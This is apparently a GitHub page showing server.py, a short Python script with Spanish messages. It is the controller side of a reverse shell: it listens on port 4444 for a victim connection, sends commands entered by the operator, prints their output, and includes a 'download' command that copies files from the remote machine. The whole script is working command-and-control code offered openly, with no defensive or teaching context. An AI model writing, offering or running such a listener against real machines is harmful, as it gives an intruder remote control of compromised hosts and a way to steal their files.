-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathserver.py
39 lines (30 loc) · 990 Bytes
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import socket
conexion = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conexion.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
conexion.bind(("0.0.0.0", 4444))
conexion.listen(1)
print("[+] Esperando conexión.....")
con, addr = conexion.accept()
def escribir_archivo(path, contenido):
with open(path, "wb") as file:
file.write(contenido)
return "[+] Descarga completa"
while True:
comando = input(">>> ")
con.send(comando.encode())
if comando.lower() == "exit":
con.close()
break
elif comando.startswith("download"):
file_path = comando.split(" ")[1]
file_content = con.recv(1024)
mensaje = escribir_archivo(file_path, file_content)
print(mensaje)
else:
res = con.recv(1024).decode()
print(res)
except Exception as e:
print("Error:", str(e))
finally:
conexion.close()